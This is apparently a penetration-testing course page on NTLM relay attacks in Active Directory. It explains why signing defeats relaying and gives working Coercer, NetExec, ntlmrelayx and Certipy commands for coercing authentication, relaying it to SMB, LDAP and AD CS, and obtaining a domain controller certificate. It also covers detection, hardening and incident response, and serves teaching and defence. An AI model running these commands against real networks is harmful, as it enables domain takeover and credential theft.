Skip to content
Pwnversity
AD-NTLMadvanced · 11 min · upd. 2026-11

NTLM relay

T1557.001T1557T1187

NTLM is a challenge-response protocol: the client proves it knows the password hash without sending it. The flaw is that this proof is not bound to the server it’s aimed at. If an attacker captures or coerces a victim’s NTLM authentication attempt, they can relay it in real time to a third service and authenticate as the victim there, without knowing or cracking the password. You don’t steal the credential: you redirect it. The defense that breaks this is session signing (SMB signing, LDAP signing with channel binding, EPA): where it’s required, the relay fails.

flowchart LR
    V[Victim] -->|"1. NTLM auth (coercion or poisoning)"| A[Attacker / relay]
    A -->|"2. relay the auth live"| T[Target server without signing]
    T -->|"3. access as the victim"| A
    A -->|"4. execute, dump or write to LDAP"| T
  • Who attacks: someone who can already capture or trigger an NTLM authentication: on the same segment (poisoning, see LLMNR) or with a domain account that lets them coerce a server.
  • What it breaks: the missing link between the authentication and the destination channel. NTLM doesn’t check that the server you’re talking to is the server you signed for.
  • What it gains: whatever the victim can do on the destination. If the victim is a local admin, execution; if it’s a computer with LDAP privileges, directory changes (RBCD, Shadow Credentials); if the destination is AD CS, an authentication certificate for the victim.
  • The usual chain: coercion → relay → execution or escalation. The attacker picks a destination that doesn’t require signing, because signing is exactly what invalidates the relayed attempt.

Session signing uses the key derived from authentication to sign each message. The attacker has the challenge response but not the session key, so they can’t sign: if the destination requires signing, the relay drops after authenticating. That’s why relaying looks for services where signing isn’t mandatory.

Service Signing / protection Default
SMB SMB signing Required on DCs; in Windows 11 24H2 and Server 2025, required on all connections
LDAP LDAP signing + channel binding On Server 2025, signing required and channel binding “when supported”; before, not required
AD CS web EPA (HTTPS) On by default in Server 2025; optional before
Internal HTTP EPA (SPN binding) Depends on the service

The generational jump matters: in domains with DCs and clients before Server 2025 / 24H2, SMB without signing and LDAP without channel binding are still the norm, and relaying works. In updated networks the margin shrinks but doesn’t vanish (legacy services, compatibility exceptions).

The Message Integrity Code (MIC) stops the attacker from stripping the signing flags from the relayed message. CVE-2019-1040 allowed removing the MIC (--remove-mic), which reopens cross-protocol relays (for example SMB → LDAP) on unpatched systems. It’s old, but shows up on unmaintained networks.

Reflection is relaying the authentication back to the same machine. Microsoft closed cases for years. CVE-2025-33073 (2025) reopened it: by coercing a host to authenticate to itself with a crafted name, you get SYSTEM execution on machines that don’t require SMB signing. Follow-up research (part 2, 2026, and CVE-2026-24294) chains variants with Kerberos and with mounting SMB on arbitrary ports in Windows 11 24H2 / Server 2025. Defensive takeaway: required SMB signing is the mitigation that holds all of this together.

Relay destination What you get Condition
SMB Execution, SAM/LSA dump Victim is local admin and destination doesn’t sign
LDAP/LDAPS RBCD, Shadow Credentials, DCSync with privileges No channel binding; victim with permissions
AD CS web (ESC8) Victim’s certificate → TGT Web enrollment on without EPA
AD CS RPC (ESC11) Certificate over RPC IF_ENFORCEENCRYPTICERTREQUEST disabled
Reflection to self Local SYSTEM (CVE-2025-33073) No SMB signing, unpatched

The relay needs an in-flight authentication. Two ways to get it:

  • Poisoning on the LAN (see LLMNR): you wait for or force failed queries.
  • Coercion: with a domain account, you force a specific server to authenticate to you over RPC. Coercer tries several methods (MS-RPRN, MS-EFSR/PetitPotam, MS-FSRVP, MS-DFSNM):
Ventana de terminal
coercer coerce -u jdoe -p 'Passw0rd!' -d corp.local -t srv-app.corp.local -l 10.10.10.50

Before relaying, build the list of targets where the relay can land:

Ventana de terminal
nxc smb 10.10.10.0/24 --gen-relay-list no-signing.txt # SMB without required signing
nxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' -M ldap-checker # LDAP signing / channel binding state
Ventana de terminal
# Responder's SMB/HTTP servers off (Responder.conf: SMB = Off, HTTP = Off)
sudo ntlmrelayx.py -tf no-signing.txt -smb2support
# with a relayed local-admin authentication: dump SAM, or execute
sudo ntlmrelayx.py -t smb://srv-app.corp.local -smb2support -c 'whoami'

With -i you open an interactive console (SMB/LDAP/MSSQL) over the relayed session; with -socks you leave the authenticated session on a SOCKS proxy to use with other tools without the victim having to re-authenticate.

Relay to LDAP: RBCD and Shadow Credentials

Section titled “Relay to LDAP: RBCD and Shadow Credentials”

If the victim is a computer account, relaying its authentication to LDAP lets you write directory attributes. With mitm6 forcing IPv6 (see LLMNR):

Ventana de terminal
# resource-based delegation over the victim's computer
sudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh fake-wpad.corp.local --delegate-access
# or Shadow Credentials over the relayed account
sudo ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials

--delegate-access sets up RBCD so an account you control can request tickets as any user toward the victim (continues in Kerberos delegation); --shadow-credentials writes msDS-KeyCredentialLink (see Shadow Credentials).

The most reliable destination: the AD CS web server requests a certificate on behalf of the victim. Coerce a DC and relay to AD CS, and you get a DC certificate:

Ventana de terminal
sudo ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
coercer coerce -u jdoe -p 'Passw0rd!' -d corp.local -t dc01.corp.local -l 10.10.10.50
# the resulting .pfx is exchanged for a TGT
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

Full detail in AD CS.

  1. List of targets without signing (SMB and LDAP).
  2. Choose the authentication source: poisoning if you’re on the LAN, coercion if you have an account.
  3. Choose the destination for what you need: SMB (execution), LDAP (RBCD/Shadow), AD CS (certificate).
  4. Launch ntlmrelayx and then trigger the authentication.
  5. Chain: certificate → TGT; RBCD → impersonation ticket; SMB session → dump.
  • ntlmrelayx (Impacket): the relay engine to SMB, LDAP, AD CS, MSSQL.
  • Responder / mitm6: authentication sources by poisoning.
  • Coercer / PetitPotam / PrinterBug: RPC coercion.
  • Certipy: exchange the ESC8/ESC11 certificate for a TGT.
  • NetExec: list signing and check LDAP channel binding.

Relaying turns someone else’s authentication into your own access without touching the password. Chained with DC coercion and AD CS, it goes from an ordinary domain account to a DC certificate and, from there, to DCSync and full compromise (credential dumping).

  • NTLM authentications toward unusual destinations (event 4624 type 3 with NTLM package) and computer accounts authenticating where they shouldn’t.
  • Coercion: RPC calls to MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM toward hosts that aren’t print/file servers; auth spikes from a DC toward an ordinary host.
  • AD CS: certificate requests (event 4886/4887) for authentication templates from odd sources; DC certificate issuance out of the ordinary.
  • Signing failures: LDAP channel binding events (3074/3075 in auditing) and rejections of unsigned SMB.
  • NTLM auditing on DCs (Restrict NTLM: Audit incoming/outgoing NTLM traffic).
  • Certificate request auditing on the CA.
  • LDAP signing audit events (require enabling channel binding auditing).
  • Required SMB signing on clients and servers (already default in 24H2 / Server 2025). It’s the root mitigation against SMB relay and against CVE-2025-33073.
  • LDAP signing and channel binding required on DCs. On Server 2025, the LDAP server signing requirements Enforcement policy set to “Not Configured” already means “require.”
  • EPA on AD CS web, on Exchange, and on every service that accepts NTLM over TLS.
  • Restrict NTLM: reduce where it’s accepted and migrate to Kerberos (Microsoft will disable NTLM by default in the next major Windows Server release).
  • Cut off coercion: patch, restrict RPC (MS-RPRN, EFSRPC) and filter access to coercible services.
  • Mitigate IPv6 (RA Guard, DHCPv6 Guard) to take away mitm6’s path.

On a confirmed relay: isolate the source, rotate the credentials of the accounts and computers involved (including computer accounts if they were relayed to LDAP), revoke suspiciously issued certificates, and apply signing where it was missing.

  • CVE-2019-1040 (drop the MIC): removing the MIC reopens cross-protocol relays. --remove-mic.
  • PetitPotam (CVE-2021-36942) and PrinterBug: DC coercion → relay to AD CS → domain compromise. One of the most used paths to DA.
  • CVE-2025-33073: NTLM/Kerberos reflection → SYSTEM on machines without SMB signing. The 2026 research (and CVE-2026-24294) chains new variants; required SMB signing remains the defense.
  • Hosts without required SMB signing (target list)?
  • LDAP without signing or channel binding on the DCs?
  • Coercion possible (Coercer/PetitPotam) from a domain account?
  • AD CS web without EPA (ESC8) or RPC without forced encryption (ESC11)?
  • Relay to SMB with execution or dump on a destination where the victim is a local admin?
  • Relay to LDAP with RBCD or Shadow Credentials?
  • Blue: NTLM and certificate-request auditing on?